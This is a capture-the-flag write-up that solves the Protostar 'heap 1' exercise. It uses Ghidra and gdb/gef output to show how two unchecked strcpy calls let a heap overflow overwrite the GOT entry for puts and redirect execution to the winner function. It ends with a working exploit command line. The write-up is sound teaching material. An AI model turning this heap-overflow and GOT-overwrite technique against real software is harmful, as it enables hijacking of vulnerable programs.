exploit_exercises protostar heap 1
Let's take a look at the binary. Also this challenge is a bit different from the others, it's from the protostar wargame and the goal is to call the winner
function (not pop a shell). Also this isn't the original binary, I recompiled it:
$ file heap1
heap1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=0840a5076b50649a07ba60e78144b2bf30297c92, not stripped
$ pwn checksec heap1
[*] '/Hackery/pod/modules/heap_overflow/protostarHeap1/heap1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
$ ./heap1
Segmentation fault (core dumped)
$ ./heap1 15935728
Segmentation fault (core dumped)
$ ./heap1 15935728 75395128
and that's a wrap folks!
So we are dealing with a 32
bit binary with no PIE or RELRO. It also expects two inputs passed as arguments to the program. When we take a look at the main function in Ghidra, we see this:
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
undefined4 main(undefined4 argc,int argv)
{
undefined4 *chunk0;
void *ptr0;
undefined4 *chunk1;
void *ptr1;
chunk0 = (undefined4 *)malloc(8);
*chunk0 = 1;
ptr0 = malloc(8);
*(void **)(chunk0 + 1) = ptr0;
chunk1 = (undefined4 *)malloc(8);
*chunk1 = 2;
ptr1 = malloc(8);
*(void **)(chunk1 + 1) = ptr1;
strcpy((char *)chunk0[1],*(char **)(argv + 4));
strcpy((char *)chunk1[1],*(char **)(argv + 8));
puts("and that\'s a wrap folks!");
return 0;
}
So we can see that this program starts off by allocating two heap structures. The structure of those structures is this:
0x4: integer (either 1, or 2)
0x8: ptr to eight byte space allocated with malloc
The bug here is the two strcpy
calls. They aren't checking if the space it is writing to is big enough to hold the data, so we have an overflow. Taking a look at how the data is laid out in the heap in gdb, we see this:
gef➤ disas main
Dump of assembler code for function main:
0x080484e1 <+0>: lea ecx,[esp+0x4]
0x080484e5 <+4>: and esp,0xfffffff0
0x080484e8 <+7>: push DWORD PTR [ecx-0x4]
0x080484eb <+10>: push ebp
0x080484ec <+11>: mov ebp,esp
0x080484ee <+13>: push esi
0x080484ef <+14>: push ebx
0x080484f0 <+15>: push ecx
0x080484f1 <+16>: sub esp,0x1c
0x080484f4 <+19>: call 0x80483f0 <__x86.get_pc_thunk.bx>
0x080484f9 <+24>: add ebx,0x1b07
0x080484ff <+30>: mov esi,ecx
0x08048501 <+32>: sub esp,0xc
0x08048504 <+35>: push 0x8
0x08048506 <+37>: call 0x8048360 <malloc@plt>
0x0804850b <+42>: add esp,0x10
0x0804850e <+45>: mov DWORD PTR [ebp-0x20],eax
0x08048511 <+48>: mov eax,DWORD PTR [ebp-0x20]
0x08048514 <+51>: mov DWORD PTR [eax],0x1
0x0804851a <+57>: sub esp,0xc
0x0804851d <+60>: push 0x8
0x0804851f <+62>: call 0x8048360 <malloc@plt>
0x08048524 <+67>: add esp,0x10
0x08048527 <+70>: mov edx,eax
0x08048529 <+72>: mov eax,DWORD PTR [ebp-0x20]
0x0804852c <+75>: mov DWORD PTR [eax+0x4],edx
0x0804852f <+78>: sub esp,0xc
0x08048532 <+81>: push 0x8
0x08048534 <+83>: call 0x8048360 <malloc@plt>
0x08048539 <+88>: add esp,0x10
0x0804853c <+91>: mov DWORD PTR [ebp-0x1c],eax
0x0804853f <+94>: mov eax,DWORD PTR [ebp-0x1c]
0x08048542 <+97>: mov DWORD PTR [eax],0x2
0x08048548 <+103>: sub esp,0xc
0x0804854b <+106>: push 0x8
0x0804854d <+108>: call 0x8048360 <malloc@plt>
0x08048552 <+113>: add esp,0x10
0x08048555 <+116>: mov edx,eax
0x08048557 <+118>: mov eax,DWORD PTR [ebp-0x1c]
0x0804855a <+121>: mov DWORD PTR [eax+0x4],edx
0x0804855d <+124>: mov eax,DWORD PTR [esi+0x4]
0x08048560 <+127>: add eax,0x4
0x08048563 <+130>: mov edx,DWORD PTR [eax]
0x08048565 <+132>: mov eax,DWORD PTR [ebp-0x20]
0x08048568 <+135>: mov eax,DWORD PTR [eax+0x4]
0x0804856b <+138>: sub esp,0x8
0x0804856e <+141>: push edx
0x0804856f <+142>: push eax
0x08048570 <+143>: call 0x8048350 <strcpy@plt>
0x08048575 <+148>: add esp,0x10
0x08048578 <+151>: mov eax,DWORD PTR [esi+0x4]
0x0804857b <+154>: add eax,0x8
0x0804857e <+157>: mov edx,DWORD PTR [eax]
0x08048580 <+159>: mov eax,DWORD PTR [ebp-0x1c]
0x08048583 <+162>: mov eax,DWORD PTR [eax+0x4]
0x08048586 <+165>: sub esp,0x8
0x08048589 <+168>: push edx
0x0804858a <+169>: push eax
0x0804858b <+170>: call 0x8048350 <strcpy@plt>
0x08048590 <+175>: add esp,0x10
0x08048593 <+178>: sub esp,0xc
0x08048596 <+181>: lea eax,[ebx-0x19ab]
0x0804859c <+187>: push eax
0x0804859d <+188>: call 0x8048370 <puts@plt>
0x080485a2 <+193>: add esp,0x10
0x080485a5 <+196>: mov eax,0x0
0x080485aa <+201>: lea esp,[ebp-0xc]
0x080485ad <+204>: pop ecx
0x080485ae <+205>: pop ebx
0x080485af <+206>: pop esi
0x080485b0 <+207>: pop ebp
0x080485b1 <+208>: lea esp,[ecx-0x4]
0x080485b4 <+211>: ret
End of assembler dump.
gef➤ b *main+175
Breakpoint 1 at 0x8048590
gef➤ r 1593572 7539512
Starting program: /Hackery/pod/modules/heap_overflow/protostarHeap1/heap1 1593572 7539512
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0804b190 → "7539512"
$ebx : 0x0804a000 → 0x08049f14 → 0x00000001
$ecx : 0xffffd2f5 → "7539512"
$edx : 0x0804b190 → "7539512"
$esp : 0xffffd010 → 0x0804b190 → "7539512"
$ebp : 0xffffd048 → 0x00000000
$esi : 0xffffd060 → 0x00000003
$edi : 0x0
$eip : 0x08048590 → <main+175> add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd010│+0x0000: 0x0804b190 → "7539512" ← $esp
0xffffd014│+0x0004: 0xffffd2f5 → "7539512"
0xffffd018│+0x0008: 0x00000000
0xffffd01c│+0x000c: 0x080484f9 → <main+24> add ebx, 0x1b07
0xffffd020│+0x0010: 0xf7faf3fc → 0xf7fb0200 → 0x00000000
0xffffd024│+0x0014: 0x00000000
0xffffd028│+0x0018: 0x0804b160 → 0x00000001
0xffffd02c│+0x001c: 0x0804b180 → 0x00000002
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048587 <main+166> in al, dx
0x8048588 <main+167> or BYTE PTR [edx+0x50], dl
0x804858b <main+170> call 0x8048350 <strcpy@plt>
→ 0x8048590 <main+175> add esp, 0x10
0x8048593 <main+178> sub esp, 0xc
0x8048596 <main+181> lea eax, [ebx-0x19ab]
0x804859c <main+187> push eax
0x804859d <main+188> call 0x8048370 <puts@plt>
0x80485a2 <main+193> add esp, 0x10
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "heap1", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048590 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x08048590 in main ()
gef➤ search-pattern 1593572
[+] Searching '1593572' in memory
[+] In '[heap]'(0x804b000-0x806d000), permission=rw-
0x804b170 - 0x804b177 → "1593572"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
0xffffd2ed - 0xffffd2f4 → "1593572"
gef➤ search-pattern 0x0804b170
[+] Searching '0x0804b170' in memory
[+] In '[heap]'(0x804b000-0x806d000), permission=rw-
0x804b164 - 0x804b174 → "\x70\xb1\x04\x08[...]"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
0xffffd000 - 0xffffd010 → "\x70\xb1\x04\x08[...]"
gef➤ x/20w 0x804b160
0x804b160: 0x00000001 0x0804b170 0x00000000 0x00000011
0x804b170: 0x33393531 0x00323735 0x00000000 0x00000011
0x804b180: 0x00000002 0x0804b190 0x00000000 0x00000011
0x804b190: 0x39333537 0x00323135 0x00000000 0x00021e69
0x804b1a0: 0x00000000 0x00000000 0x00000000 0x00000000
So we can see that our first input begins at 0x804b170
. We can also see that the second pointer that is written to is at 0x804b184
. This leaves us with a 0x804b184 - 0x804b170 = 20
byte difference. Here is the plan. With the first strcpy
call we will overwrite the pointer at 0x0804b190
by inputting 20
bytes, plus a new pointer. Then with the second write, we will be able to write a value we want where we want to. Now is just the question of where to write it.
Since RELRO isn't enabled, we can write to the got table. This will make it so when it tries to call one function, it will actually call another. Looking at the disassembly we see that puts
is called after the strcpy
calls so that would probably be a good target. We can get it's got table entry (no PIE so we don't need an infoleak here) with objdump:
$ objdump -R heap1 | grep puts
0804a018 R_386_JUMP_SLOT puts@GLIBC_2.0
Now instead of executing puts
, we can just execute the winner
function instead. We can also find it's address using objdump:
$ objdump -D heap1 | grep winner
080484b6 <winner>:
With that, we have everything we need for our exploit:
$ ./heap1 `python -c 'print "0"*20 + "\x18\xa0\x04\x08" + " " + "\xb6\x84\x04\x08"'`
and we have a winner
Just like that, we got the flag!